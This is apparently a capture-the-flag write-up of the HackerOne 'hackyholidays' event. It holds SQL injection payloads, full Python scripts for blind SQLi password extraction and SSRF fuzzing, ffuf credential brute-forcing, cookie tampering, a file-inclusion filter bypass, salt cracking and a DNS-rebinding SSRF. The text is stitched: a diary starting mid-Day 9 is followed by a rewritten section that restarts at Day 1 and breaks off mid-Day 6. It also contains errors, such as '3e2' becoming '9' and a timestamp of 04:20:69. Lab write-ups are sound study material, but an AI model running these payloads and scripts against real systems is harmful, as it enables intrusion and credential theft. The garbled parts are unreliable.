Yup, the one user in the 'admin' table's username is 'admin'. Now we just have to figure out what the user's password is. How hard can that be? Well, turns out it's actually a bit difficult. Since we're 1337 hackers and don't want to spend the rest of the night manually brute-forcing the password, we use our non-existing python skills to write a script that can do the job for us. The main idea of the script is to use the LIKE operator to brute-force the password one character at a time, with payloads in the following format:
bla' UNION SELECT 1,2,3,password FROM admin WHERE password LIKE BINARY('passwo%') OR 1='2
We're using the BINARY function to make the query case-sensitive. Let's run our script go wrap some Christmas presents while we wait.
py day_9.py -c "mysessioncookie"
PASSWORD: S
PASSWORD: S3
PASSWORD: S3c
PASSWORD: S3cr
PASSWORD: S3cre
PASSWORD: S3creT
PASSWORD: S3creT_
PASSWORD: S3creT_p
PASSWORD: S3creT_p4
PASSWORD: S3creT_p4s
PASSWORD: S3creT_p4ss
PASSWORD: S3creT_p4ssw
PASSWORD: S3creT_p4ssw0
PASSWORD: S3creT_p4ssw0r
PASSWORD: S3creT_p4ssw0rd
PASSWORD: S3creT_p4ssw0rd-
PASSWORD: S3creT_p4ssw0rd-$
Couldn't find more chars. Final found is: S3creT_p4ssw0rd-$
Yay, our script is done and has extracted the password, 'S3creT_p4ssw0rd-$', from the database! We can now login with the credentials:
[Insert your favorite triumph interjection]! We solved the challenge and got the 9th flag! Time to go to bed.
flag{6e8a2df4-5b14-400f-a85a-08a260b59135}
Day 10
Tody the Grinch is recruiting for his army in the challenge 'Signup Manager'. Let's dive in and find the flag!
The challenge allows us to sign up for recruitment. Let's try that with some random info:
Hmm, that wasn't super interesting. Let's take a look at the source of the page:
'README.md'! That sounds interesting! Let's try to navigate to /README.md. By doing so, we get the following file:
# SignUp Manager
SignUp manager is a simple and easy to use script which allows new users to signup and login to a private page. All users are stored in a file so need for a complicated database setup.
### How to Install
1) Create a directory that you wish SignUp Manager to be installed into
2) Move signupmanager.zip into the new directory and unzip it.
3) For security move users.txt into a directory that cannot be read from website visitors
4) Update index.php with the location of your users.txt file
5) Edit the user and admin php files to display your hidden content
6) You can make anyone an admin by changing the last character in the users.txt file to a Y
7) Default login is admin / password
The file mentions the zip folder 'signupmanager.zip', let's check if we're lucky enough that the zip file can be downloaded from the website.
We where! And the zip file contains the source code of the recruiter page as seen above! Time to dive into the source code. The file index.php is definitely the most interesting one.
When signing up, all the info provided is concatenated to a string and stored in the 'users.txt' file. The 113th character determines whether or not a given user is an admin. If the 113 character is 'Y', the user is an admin or else not. The check to determine this is done in the following line from 'index.php':
'admin' => ((substr($user_str, 112, 1) === 'Y') ? true : false)
Our goal appears to simply be to have the 113th char set to Y, so we become admins. Can't we just do something like provide a really long name ending with a 'Y' then? Well it isn't that simple sadly since the length of each input we give is controlled:
- The username, first name, and last name is cut off to max 15 chars, eg.:
$username = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["username"]), 0, 15);
- The password is MD5 hashed, making it fixed at 32 chars
$password = md5($_POST["password"]);
- The length of the age must be 3 chars or less
if (strlen($_POST["age"]) > 3) {
$errors[] = 'Age entered is too long';
}
So where is the weak link? Noticing the following line made my eyes widen:
$age = intval($_POST["age"]);
This line comes after the initial length check. PHP has some interesting behavior when converting strings to Integers using intval. Scientific notation is eg. allowed, meaning that something like '3e2' will be converted to '9'. This is super interesting for us in this case since we can provide something as '9e9' which has a length of 3 chars, but will become some big number after being converted with intval: '9000000000'. A number that is longer than 3 chars.
Let's take a look at how the input is concatenated:
function addUser($username,$password,$age,$firstname,$lastname){
$random_hash = md5( print_r($_SERVER,true).print_r($_POST,true).date("U").microtime().rand() );
$line = '';
$line .= str_pad( $username,15,"#");
$line .= $password;
$line .= $random_hash;
$line .= str_pad( $age,3,"#");
$line .= str_pad( $firstname,15,"#");
$line .= str_pad( $lastname,15,"#");
$line .= 'N';
$line = substr($line,0,113);
file_put_contents('users.txt',$line.PHP_EOL, FILE_APPEND);
return $random_hash;
}
As we can see, the user's last name is the last input in the concatenation meaning this is the input where we need to insert the 'Y' at the end. Normally the 15th char of the user's last name would be the 112th character of the concatenated string, one short of the magic 113th char which toggles whether or not the user is an admin. Let's make an exploit!
The idea is to make the age be 4 chars long after the intval conversion. We can then set the last char of the last name to 'Y' which will now be the 113th char since the length of the user's age has become one char longer than expected. A value such as '9e3' will do the job as the age since it'll become '9000' (4 chars) after conversion with intval. Let's see if our exploit works:
Let's grab the cookie from the response and reload /signup-manager authenticated as our newly created user:
I'm-really-running-out-of-new-ways-to-express-excitement! We got the 10th flag!!! Note that we also got a link to /r3c0n_server_4fdk59 which is where we should continue our journey tomorrow.
flag{99309f0f-1752-44a5-af1e-a03e4150757d}
Day 11
Christmas is coming. We're getting close to the crucial day the Grinch is planning his DDoS attack against Santa. Let's start today's challenge to see what we are dealing with:
In today's challenge, we get informed that an API is currently being developed. Let's head over to /api to see if we find anything:
We get a nice description of the different responses we can expect from the API, let's try to find some endpoints! Hmm, that doesn't work out well. No matter what great guesses of endpoints we can come up with, we're met with the following error:
{"error":"This endpoint cannot be visited from this IP address"}
Hmm, seems like we should take another path. The challenge also allows us to browse some photo albums on /album:
Let's try to open up one of the photos in a new tab:
Hmm, the GET parameter data seems interesting. Let's Base64 decode it:
{
"image":"r3c0n_server_4fdk59\/uploads\/0a382c6177b04386e1a45ceeaa812e4e.jpg",
"auth":"ec5a9920e177ccc84974146f93ae04b0"
}
Looks like the server is kind enough to go fetch a file we've specified in the image parameter as long as we provide it along with a propper auth value. Maybe there's potential for some SSRF vulnerability here? Maybe we could get access to the API by querying it through this feature? Let's note that idea down before we continue.
It seems difficult to figure out how the value of the auth parameter is generated and after some testing, I decided to try to take a different path. Let's go back to the /album page.
The albums seem to be returned based on the value of the GET parameter hash. Let's do some testing on this parameter.
Most values result in a 404, but take a look at this:
Looks like we just found an SQLi! Let's try to do a UNION attack. This caused me a headache. It didn't seem to work no matter the number of columns I tried to match. But finally, I found a working payload:
a' UNION SELECT 1,2,3-- -
The problem turned out to be that I couldn't provide a valid hash and do the UNION attack. Instead, I had to provide something invalid such as 'a'. Hmm, that's weird. What could the context of this SQLi be? What does the full SQL query look like?
After exploring the database we can conclude that there doesn't seem to be any interesting information. The only two tables appear to be 'album' and 'photo' which doesn't contain anything interesting.
The weird behavior of the SQLi still puzzles me. Let's see if we can get a better understanding of the SQL query we're injecting our payload into. After some googling, I discovered that the table information_schema.processlist can be queried to get information on the current SQL query being executed. Let's use that to see what the current query looks like:
a'UNION SELECT 1,2,info from information_schema.processlist-- -
Hmm, that's weird. The original SQL query appears to simply be:
SELECT * FROM album WHERE hash = 'INPUT'
How can such a simple query result in this weird behavior? And how can that query alone return the correct photos? The photos aren't even referenced in the 'album' table. They are only being referenced in the 'photo' table... Wait... Maybe there is more going on here. What if it's actually a dream within a dream within... Whoops, wrong train of thought. Let me try again: What if it's actually a SQL query within a SQL query? Also known as a subquery. Maybe the 'parent' query looks something like this:
SELECT * FROM photo WHERE something = (SELECT * FROM album WHERE hash = 'INPUT')
Maybe we can do an SQLi within an SQli? Let's start by figuring out which of the columns affect the photos being loaded. Let's start by providing some gibberish string as the first:
a'UNION SELECT "hihi",2,3-- -
Well, the photos are gone. It seems like the value of the first column affects which photos are loaded.
Now let's try to actually do an SQLi within an SQLi:
a'UNION SELECT "' UNION SELECT 1,2,3-- -",2,3-- -
It looks like a photo is attempted to be displayed. Let's open it up in a new tab:
Exciting! Let's try and Base64 decode the data parameter for the photo:
{
"image":"r3c0n_server_4fdk59\/uploads\/3",
"auth":"fea7507478aa8225c022527b1763fb33"
}
Yes! Notice the '3'? We successfully got the server to generate a valid auth value based on our input! Let's try to swap the '3' for the value '../api':
a'UNION SELECT "' UNION SELECT 1,2,'../api'-- -",2,3-- -
'Invalid content type detected' - sounds like we successfully made the server request an existing resource! The API endpoint! Let's check the Base64 decoded data value:
{
"image":"r3c0n_server_4fdk59\/uploads\/..\/api",
"auth":"38122d477657c1a0c9ba873c11017497"
}
Perfect! We've successfully made the server request r3c0n_server_4fdk59/api for us! Let's now create a script to fuzz for valid API endpoints.
py day_11.py -p "api/BRUZZ" -w "common-api-endpoints-mazen160.txt" -f 404
FOUND: ping
FOUND: user
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████| 174/174 [02:30<00:00, 1.16it/s]
Our script found two endpoints! api/ping and api/user. api/ping turned out to be a red herring (thanks Adam...) so I'll spare you the confusion and move on to the second found: api/user. Let's check which response we get for this endpoint:
Hmm, that's a bit disappointing... Pretty frustrating to know that some response body is returned but we can't view it... After trying to circumvent this problem without succeeding I decided to take a different path. Maybe there's more fuzzing to do? Looking at the list of different response codes we got listed on r3c0n_server_4fdk59/api it seems like we might have more to discover.
This seems like a pretty interesting feature. Maybe there are some GET parameters to be found on api/user? Let's try providing some random GET parameter as a test:
a'UNION SELECT "' UNION SELECT 1,2,'../api/user?bla=hihi'-- -",2,3-- -
Yup, as expected we got a 400 response. We could now start our fuzzing script up again, but before doing that, we could try and use our 1337 hacking brains to make some qualified guesses.
One thing I haven't mentioned yet is the link to /attack-box this challenge provides us with on the front page. /attack-box appears to be the next challenge, but we're faced with a login form we need to submit to access /attack-box.
With this in mind and having an idea of where this challenge is going and knowing that our API endpoint is called user, something as 'username' and 'password' seems like pretty good guesses. Let's try them:
a'UNION SELECT "' UNION SELECT 1,2,'../api/user?username=bla%26password=hihi'-- -",2,3-- -
Bingo! Seems like we just found two valid GET parameters using our 1337 guessing skills! Now we just need to figure out the correct credentials to provide. But how? It seems safe to assume that we're interfering with the database when providing the credentials. If only there existed some way to provide a wildcard in SQL... Well, what about the '%' char? Let's try that:
a'UNION SELECT "' UNION SELECT 1,2,'../api/user?username=%%26password=%'-- -",2,3-- -
Okay-seriously-can-someone-provide-me-with-a-list-of-exclamations! Seems like the '%' works as a wildcard since we didn't get the 204 response, but instead an 'Invalid content type detected' meaning some data was attempted to be returned. Time to modify our script a bit and fire it up in brute-force mode:
py day_11.py -u "api/user?username=BRUZZ%" -b -f 204
NEW CHAR FOUND: g
NEW CHAR FOUND: gr
NEW CHAR FOUND: gri
NEW CHAR FOUND: grin
NEW CHAR FOUND: grinc
NEW CHAR FOUND: grinch
NEW CHAR FOUND: grincha
NEW CHAR FOUND: grinchad
NEW CHAR FOUND: grinchadm
NEW CHAR FOUND: grinchadmi
NEW CHAR FOUND: grinchadmin
Couldn't find more chars. Final found is: grinchadmin
Cool, we successfully brute-forced the username: 'grinchadmin'. Time for the password:
py day_11.py -u "api/user?password=BRUZZ%" -b -f 204
NEW CHAR FOUND: s
NEW CHAR FOUND: s4
NEW CHAR FOUND: s4n
NEW CHAR FOUND: s4nt
NEW CHAR FOUND: s4nt4
NEW CHAR FOUND: s4nt4s
NEW CHAR FOUND: s4nt4su
NEW CHAR FOUND: s4nt4suc
NEW CHAR FOUND: s4nt4suck
NEW CHAR FOUND: s4nt4sucks
Couldn't find more chars. Final found is: s4nt4sucks
Evax(Latin, duh)! We also got the password now! (Thanks so much for not doing some case-sensitive stuff Adam)
Let's try our credentials on /attack-box/login:
FINALLY! That was a tough challenge, but we did it! We finally got the 11th flag and access to /attack-box let's try to sleep a few hours before the night is over and come back tomorrow.
flag{07a03135-9778-4dee-a83c-7ec330728e72}
Day 12
Chestnuts roasting on an open fire, the Grinch is DDoSing Santa Clause ♫
Wait, what? We better get to work to save Christmas! Navigating to /attack-box we see that the page has been updated:
It looks like the Grinch has launched a DDoS attack against Santa's severs! Just as the hidden event from day 6 said. Clicking one of the 'attack' buttons, we see the following screen:
Right before ending at the screen, we see a request was made to /attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMzMiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==. Let's try to Base64 decode the payload parameter:
{
"target":"203.0.113.33",
"hash":"5f2940d65ca4140cc18d0878bc398955"
}
Hmm, looks like this request is used to launch a DDoS attack against the target specified in the target parameter. Maybe we could trick the server into launching a DDoS attack against itself? Let's note that idea down and continue.
Sadly, we can't just modify the target parameter without providing a matching hash. Trying to do so gives us the following error:
Invalid Protection Hash
After browsing around the challenge I decided to go full beast mode and see if we could crack the hash. It looks like it's an MD5 hash. Maybe a salt is used with the target value to generate the hash? Let's use rockyou.txt with hashcat to see if that's the case. Let's start by testing for salt.pass:
hashcat.exe -m 20 "5f2940d65ca4140cc18d0878bc398955:203.0.113.33" rockyou.txt --show
5f2940d65ca4140cc18d0878bc398955:203.0.113.33:mrgrinch463
Wow! It actually worked! We got the salt: 'mrgrinch463'. Now let's just create our own Base64 encoded payload to launch an attack against 127.0.0.1 to end Grinch Netork once and for all:
md5(mrgrinch463127.0.0.1) -> 3e3f8df1658372edf0214e202acb460b
{
"target":"127.0.0.1",
"hash":"3e3f8df1658372edf0214e202acb460b"
}
Ehhh... So that didn't work. The sneaky Grinch has set up some protection to avoid an attack against a local target. Dammit. After trying some different bypass techniques I was about to give up on Christmas this year, but then a final idea popped up. What about DNS rebinding? Could we maybe set up a host that first resolves to one of the Santa target servers and then to '127.0.0.1'? The idea is that when the check is made to make sure the target isn't local, our host resolves to a Santa target which will pass the check. When the attack is then launched, our host resolves to '127.0.0.1' instead, resulting in an attack against the Grinch Networks! Let's try this! We can use this online tool: https://lock.cmpxchg8b.com/rebinder.html to generate a hostname for the purpose (shout-out to @rekter0 for showing me this tool)
It looks promising.
Wuhuu! We did it! We solved the 12 and last challenge, took down the Grinch Network, and saved Christmas! Thanks for following along! You can relax and enjoy the holidays now well assured that the Grinch won't spoil it.
flag{ba6586b0-e482-41e6-9a68-caf9941b48a0}
Scripts
Day 9:
import argparse
import requests
import warnings
warnings.filterwarnings("ignore")
parser = argparse.ArgumentParser()
parser.add_argument("-c", "--cookie", help="provide a session cookie for a session where you've already completed the quiz", required=True)
args = parser.parse_args()
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789%_;#$£}{[]&.,!=+@()?-~*'<>"
url = 'https://hackyholidays.h1ctf.com/evil-quiz'
cookies = {'session': args.cookie}
password = ""
def brute():
global password
found_char = True
while found_char:
found_char = False
for c in charset:
if c in "%_": #Escaping MySQL wildcards
c = "\\"+c
body = {"name": "bla' UNION SELECT 1,2,3,password FROM admin WHERE password LIKE BINARY('"+password+c+"%') OR 1='2"}
response_1 = requests.post(url, data = body, cookies=cookies, verify=False)
if response_1.status_code == 200:
response_2 = requests.get(url+"/score", cookies=cookies, verify=False)
if "There is 0 other player(s) with the same name as you!" not in response_2.text:
password+=c[-1] #Only take last char to avoid problems with escaped wildcards
print("PASSWORD: "+password)
break
else:
print("Ehh, something went wrong. Got this status code: "+response_1.status_code)
return
print("Couldn't find more chars. Final found is: "+password)
brute()
#Password: S3creT_p4ssw0rd-$
Day 11:
import sys
import requests
import warnings
import argparse
from tqdm import tqdm
warnings.filterwarnings("ignore")
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="provide a URL to request on /r3c0n_server_4fdk597/URL. Use 'BRUZZ' as the keyword", required=True)
parser.add_argument("-w", "--wordlist", help="provide the path of the wordlist to use")
parser.add_argument("-f", "--filter", help="provide a value to filter out responses based on. The value will be looked for in the response body", required=True)
parser.add_argument("-b", "--bruteforce", help="bruteforce mode", action="store_true")
args = parser.parse_args()
base_url = 'https://hackyholidays.h1ctf.com'
url = args.url
wordlist = args.wordlist
response_filter = args.filter
def fuzz(lines):
for w in tqdm(lines):
fuzz_payload = url.replace("BRUZZ", w.rstrip())
url1 = base_url+"/r3c0n_server_4fdk59/album?hash=a'UNION SELECT \"' UNION SELECT 1,2,'../"+fuzz_payload+"\",2,3-- -"
response_1 = requests.get(url1, verify=False)
url2 = base_url+response_1.text[response_1.text.find("/r3c0n_server_4fdk59/picture?data="):].split("\"")[0]
response_2 = requests.get(url2, verify=False)
if response_filter not in response_2.text:
tqdm.write("FOUND: "+w.rstrip())
def brute(charset):
found_chars = ""
found_char = True
while found_char:
found_char = False
for c in charset:
brute_payload = url.replace("BRUZZ", found_chars+c)
url1 = base_url+"/r3c0n_server_4fdk59/album?hash=a'UNION SELECT \"' UNION SELECT 1,2,'../"+brute_payload+"\",2,3-- -"
response_1 = requests.get(url1, verify=False)
url2 = base_url+response_1.text[response_1.text.find("/r3c0n_server_4fdk59/picture?data="):].split("\"")[0]
response_2 = requests.get(url2, verify=False)
if response_filter not in response_2.text:
found_char = True
found_chars += c
print("NEW CHAR FOUND: "+found_chars)
break
print("Couldn't find more chars. Final found is: "+found_chars)
if args.bruteforce is not None:
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
brute(charset)
elif args.wordlist is not None:
try:
file1 = open(wordlist, 'r')
lines = file1.readlines()
except:
print("Couldn't find wordlist: "+wordlist)
quit()
fuzz(lines)
else:
print("You must either specify a wordlist (-w) or user bruteforce mode (-b)")
quit()
The report
Summary:
Since there is a reward for the first 10 submissions, I'll start by providing the flags:
flag{48104912-28b0-494a-9995-a203d1e261e7}
flag{b7ebcb75-9100-4f91-8454-cfb9574459f7}
flag{b705fb11-fb55-442f-847f-0931be82ed9a}
flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}
flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}
flag{18b130a7-3a79-4c70-b73b-7f23fa95d395}
flag{5bee8cf2-acf2-4a08-a35f-b48d5e979fdd}
flag{677db3a0-f9e9-4e7e-9ad7-a9f23e47db8b}
flag{6e8a2df4-5b14-400f-a85a-08a260b59135}
flag{99309f0f-1752-44a5-af1e-a03e4150757d}
flag{07a03135-9778-4dee-a83c-7ec330728e72}
flag{ba6586b0-e482-41e6-9a68-caf9941b48a0}
Impact
Thanks for the fun challenges and hacky hollidays! holme
Context
This is a write-up of the HackerOne CTF event "hackyholidays", a twelve-day capture-the-flag run against *.hackyholidays.h1ctf.com. Each day added a new challenge under a shared host, and the goal was to collect one flag per day. The challenges mix web application bugs: information disclosure, insecure direct object references, parameter and endpoint discovery, authentication bypass through a tampered cookie, local file inclusion with filter bypass, template injection, source code disclosure through a public repository, SQL injection, a length-check bypass in a signup script, and finally a server-side request forgery chain combined with DNS rebinding.
The report is written as a day-by-day diary. The flags are listed at the end of the report, and the two Python scripts used on days 9 and 11 are included in full.
Setup
The researcher works entirely from the browser and the command line. The tools used across the days are:
- Burp Suite, to inspect requests and responses.
- FFUF, version
v1.2.0-git, for content and parameter discovery. - Wordlists from Daniel Miessler:
common.txtfor web content,common-api-endpoints-mazen160.txtfor API endpoints,burp-parameter-names.txtfor parameter names, and10-million-password-list-top-1000.txtfor the login brute force. fcrackzipwithrockyou.txtfor the password-protected zip on day 5.hashcatwithrockyou.txtfor the hash on day 12.- An interactive PHP shell to test the filter logic on day 6.
- Python scripts for the blind SQL injection on day 9 and the SSRF fuzzing and brute force on day 11.
- The DNS rebinding service at
https://lock.cmpxchg8b.com/rebinder.htmlon day 12.
Finding it
The first two days are pure reconnaissance. Day 1 starts at hackyholidays.h1ctf.com, and the answer is /robots.txt, which yields the first flag and points to /s3cr3t-ar3a. Day 2 opens /s3cr3t-ar3a, finds nothing visible, and reads the page source in the browser developer tools to get the second flag and a pointer to /apps.
From day 3 onward the pattern is consistent: a new app appears under /apps, the researcher maps its endpoints, and then looks for the input that is trusted too much. The signals that matter are a Base64-encoded id parameter, a uuid parameter found by fuzzing, a cookie whose decoded JSON contains an admin boolean, a template parameter that loads files, a template engine that resolves variables and includes, a public Git repository, a numeric input whose length is checked before conversion, and a data parameter that makes the server fetch a file.
Exploitation
Day 1: robots.txt
Navigating to the root of the site gives a landing page. Requesting /robots.txt returns the first flag and a lead for the next day, /s3cr3t-ar3a.
flag{48104912-28b0-494a-9995-a203d1e261e7}
Day 2: page source
/s3cr3t-ar3a looks empty in the rendered page. The flag is in the HTML source, visible in the developer tools, together with a pointer to /apps.
flag{b7ebcb75-9100-4f91-8454-cfb9574459f7}
Day 3: tampering with a Base64 id
/apps lists a new challenge, "People Rate", served at /people-rater. Clicking a name sends a request to /people-rater/entry?id=eyJpZCI6Mn0=. The id value is Base64 and decodes to a JSON object with an id field. The first name in the list maps to id 2, so the researcher builds a value for id 1:
{"id":1} -> eyJpZCI6MX0=
Requesting /people-rater/entry?id=eyJpZCI6MX0= returns the record for the Grinch, including the flag:
{
"id":"eyJpZCI6MX0=",
"name":"The Grinch",
"rating":"Amazing in every possible way!",
"flag":"flag{b705fb11-fb55-442f-847f-0931be82ed9a}"
}
flag{b705fb11-fb55-442f-847f-0931be82ed9a}
Day 4: Swag Shop, endpoint and parameter discovery
/apps now lists "Swag Shop". The shop shows a login form that is not easy to bypass, so the researcher switches to content discovery against https://hackyholidays.h1ctf.com/swag-shop/FUZZ with common_webcontent.txt:
ffuf -w common_webcontent.txt -t 5 -u "https://hackyholidays.h1ctf.com/swag-shop/FUZZ"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/swag-shop/FUZZ
:: Wordlist : FUZZ: common_webcontent.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
api [Status: 200, Size: 23, Words: 2, Lines: 1]00:16] :: Errors: 0 ::
:: Progress: [4661/4661] :: Job [1/1] :: 41 req/sec :: Duration: [0:01:57] :: Errors: 0 ::
/api itself returns nothing interesting, so the next run fuzzes API endpoints under it, matching every status code except 404:
ffuf -w common-api-endpoints-mazen160.txt -t 5 -u "https://hackyholidays.h1ctf.com/swag-shop/api/FUZZ" -mc all -fc 404
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/swag-shop/api/FUZZ
:: Wordlist : FUZZ: common-api-endpoints-mazen160.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: all
:: Filter : Response status: 404
________________________________________________
sessions [Status: 200, Size: 2194, Words: 1, Lines: 1]03] :: Errors: 0 ::
user [Status: 400, Size: 35, Words: 3, Lines: 1]0:04] :: Errors: 0 ::
:: Progress: [174/174] :: Job [1/1] :: 41 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
Two endpoints exist: /api/user and /api/sessions. A plain GET to /api/user returns a 400:
HTTP/1.1 400 Bad Request
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 29 Dec 2020 04:20:69 GMT
Content-Type: application/json
Connection: close
Content-Length: 35
{
"error":"Missing required fields"
}
To find the missing parameter, the researcher fuzzes GET parameter names and filters out responses that still contain Missing required fields:
ffuf -w burp-parameter-names.txt -t 5 -u "https://hackyholidays.h1ctf.com/swag-shop/api/user?FUZZ" -mc all -fr "Missing required fields"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/swag-shop/api/user?FUZZ
:: Wordlist : FUZZ: burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: all
:: Filter : Regexp: Missing required fields
________________________________________________
uuid [Status: 404, Size: 40, Words: 5, Lines: 1]:00:33] :: Errors: 0 ::
:: Progress: [2588/2588] :: Job [1/1] :: 40 req/sec :: Duration: [0:01:03] :: Errors: 0 ::
The parameter is uuid, but a value is still needed. The second endpoint, /api/sessions, returns a list of sessions:
{
"sessions":[
"[redacted]=",
"[redacted]=",
"[redacted]==",
"[redacted]=",
"[redacted]=",
"[redacted]=",
"[redacted]=",
"[redacted]="
]
}
Decoding each entry gives a JSON object with user and cookie fields. The cookie values seem to be Base64-encoded SHA-512 hashes and are not useful. One entry stands out because user is not null:
{
"user":"C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
"cookie":"[redacted]="
}
That UUID is used as the uuid parameter on /api/user:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 29 Dec 2020 23:27:25 GMT
Content-Type: application/json
Connection: close
Content-Length: 216
{
"uuid":"C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
"username":"grinch",
"address":{
"line_1":"The Grinch",
"line_2":"The Cave",
"line_3":"Mount Crumpit",
"line_4":"Whoville"
},
"flag":"flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}"
}
flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}
Day 5: Secure Login, username enumeration and cookie tampering
"Secure Login" presents a login form. A POST to /secure-login with wrong credentials returns Invalid Username. Because a valid username with a wrong password would presumably return a different message, the researcher brute-forces the username first, filtering out responses that contain Invalid Username:
ffuf -w 10-million-password-list-top-1000.txt -t 5 -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=bla" -u "https://hackyholidays.h1ctf.com/secure-login" -fr "Invalid Username"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : POST
:: URL : https://hackyholidays.h1ctf.com/secure-login
:: Wordlist : FUZZ: 10-million-password-list-top-1000.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=bla
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Regexp: Invalid Username
________________________________________________
access [Status: 200, Size: 1724, Words: 464, Lines: 37] :: Errors: 0 ::
:: Progress: [1000/1000] :: Job [1/1] :: 40 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
The username is access. The password is then brute-forced with the same wordlist, this time filtering out Invalid Password:
ffuf -w 10-million-password-list-top-1000.txt -t 5 -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=access&password=FUZZ" -u "https://hackyholidays.h1ctf.com/secure-login" -fr "Invalid Password"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : POST
:: URL : https://hackyholidays.h1ctf.com/secure-login
:: Wordlist : FUZZ: 10-million-password-list-top-1000.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=access&password=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Regexp: Invalid Password
________________________________________________
computer [Status: 302, Size: 0, Words: 1, Lines: 1]00:01] :: Errors: 0 ::
:: Progress: [1000/1000] :: Job [1/1] :: 36 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
The password is computer. Logging in does not immediately give the flag. The session is carried in a cookie named securelogin with the value [redacted]=, which decodes to:
{"cookie":"[redacted]","admin":false}
Changing admin to true and re-encoding the JSON as Base64 produces a cookie that the server accepts. The page then shows a zip file, my_secure_files_not_for_you.zip, which is downloaded and extracted. The zip is password protected, so fcrackzip is run against it with rockyou.txt. The password is found in a matter of seconds: hahahaha. Extracting the archive and opening flag.txt gives the fifth flag.
flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}
Day 6: My Diary, local file inclusion with filter bypass
"My Diary" asks for a hidden upcoming event. The page lists some events but not the hidden one. The GET parameter template takes a value such as entries.html, which suggests it selects a file to load. An arbitrary value redirects to /my-diary/?template=entries.html, so some validation runs before the file is loaded. Requesting index.php as the template returns the source of the page:
<?php
if( isset($_GET["template"]) ){
$page = $_GET["template"];
//remove non allowed characters
$page = preg_replace('/([^a-zA-Z0-9.])/','',$page);
//protect admin.php from being read
$page = str_replace("admin.php","",$page);
//I've changed the admin file to secretadmin.php for more security!
$page = str_replace("secretadmin.php","",$page);
//check file exists
if( file_exists($page) ){
echo file_get_contents($page);
}else{
//redirect to home
header("Location: /my-diary/?template=entries.html");
exit();
}
}else{
//redirect to home
header("Location: /my-diary/?template=entries.html");
exit();
}
The target is secretadmin.php. The filter removes every character that is not a letter, a digit or a dot, then removes the substrings admin.php and secretadmin.php in that order. The researcher reproduces the filter in an interactive PHP shell:
function test($page){
$page = preg_replace('/([^a-zA-Z0-9.])/','',$page);
$page = str_replace("admin.php","",$page);
$page = str_replace("secretadmin.php","",$page);
echo $page;
}
To get admin.php past the first str_replace, the string is split and the removed substring is placed between the halves:
'adm'+'admin.ph'+'in.php' -> admadmin.phpin.php
After admin.php is removed, the result is admin.php. For secretadmin.php the same idea is applied, but the payload has to account for the fact that secretadmin.php contains admin.php, which is removed first:
'secretadm'+'secretadm'+'admin.php'+'in.php'+'in.php' -> secretadmsecretadmadmin.phpin.phpin.php
After the first check, all occurrences of admin.php are removed:
secretadmsecretadm[admin.php]in.phpin.php -> secretadmsecretadmin.phpin.php
